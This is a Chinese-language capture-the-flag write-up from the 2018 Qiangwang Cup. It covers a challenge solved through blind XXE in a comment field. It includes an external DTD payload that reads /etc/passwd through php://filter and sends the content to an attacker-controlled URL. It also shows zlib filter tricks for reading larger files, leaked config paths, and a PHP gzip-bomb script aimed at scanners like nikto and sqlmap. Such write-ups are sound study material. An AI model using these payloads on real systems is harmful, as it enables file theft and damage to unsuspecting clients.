教育機構
這個題目其實特別懵逼,給了一個域名,還以為是要來一場真實環境滲透題,所以信息收集方面都做了。比如掃二級域名,掃端口,掃文件(一掃就被ban)
80端口看的實在懵逼,毫無頭緒。就看了一下33899端口的東西,有一個.idea的泄露,但是并沒有什么用。
http://39.107.33.75:33899/.idea/workspace.xml
內容被注釋了一段xm調用實體的變量,有點想xxe。
還有一個地方就是提交評論的地方,但是無論怎么樣寫入都是alert("未知錯誤!!!請重試")
傳入數組的時候發現出現問題了。
comment處有被userdecode處理過,試一下xml頭,就可以看到有報錯,考點應該就是xxe。
<?xml version="1.0" encoding="utf-8"?>
通過盲xxe,可以獲取到文件。
遠程服務器布置一個1.xml
<!ENTITY % payload SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">
<!ENTITY % int "<!ENTITY % trick SYSTEM 'http://ip/test/?xxe_local=%payload;'>">
%int;
%trick;
獲取一下/var/www/52dandan.cc/public_html/config.php
<?php
define(BASEDIR, "/var/www/52dandan.club/");
define(FLAG_SIG, 1);
define(SECRETFILE,'/var/www/52dandan.com/public_html/youwillneverknowthisfile_e2cd3614b63ccdcbfe7c8f07376fe431');
....
?>
這里出現了一個問題,就是獲取/var/www/52dandan.cc/public_html/common.php的時候出現了Detected an entity reference loop錯誤。
查了一下資料,libxml解析器默認限制外部實體長度為2k,沒法突破,只能尋找一下壓縮數據方面的。php過濾器中提供了一個zlib.inflate壓縮數據。
壓縮:echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd");
解壓:echo file_get_contents("php://filter/read=convert.base64-decode/zlib.inflate/resource=/tmp/1");
這樣就可以獲取到common.php文件源碼了!
再獲取一下機器的一些ip信息,其中arp信息中保留了一個內網地址
/proc/net/arp/etc/host
IP address HW type Flags HW address Mask Device
192.168.223.18 0x1 0x2 02:42:c0:a8:df:12 * eth0
192.168.223.1 0x1 0x2 02:42:91:f9:c9:d4 * eth0
做不動了,不想做了。
2333,學習了一個防止掃描器的姿勢,如果掃描器爬到test.php,當然對一般的目錄掃描效果不大,一般都是HEAD請求。
test.php
<?php
$agent = strtolower($_SERVER['HTTP_USER_AGENT']);
//check for nikto, sql map or "bad" subfolders which only exist on wordpress
if (strpos($agent, 'nikto') !== false || strpos($agent, 'sqlmap') !== false || startswith($url,'wp-') || startswith($url,'wordpress') || startswith($url,'wp/'))
{
sendBomb();
exit();
}
function sendBomb(){
//prepare the client to recieve GZIP data. This will not be suspicious
//since most web servers use GZIP by default
header("Content-Encoding: gzip");
header("Content-Length: ".filesize('www.gzip'));
//Turn off output buffering
if (ob_get_level()) ob_end_clean();
//send the gzipped file to the client
readfile('10G.gzip');
}
function startsWith($haystack,$needle){
return (substr($haystack,0,strlen($needle)) === $needle);
}
?>
know it then do it
2018強網杯-Writeup

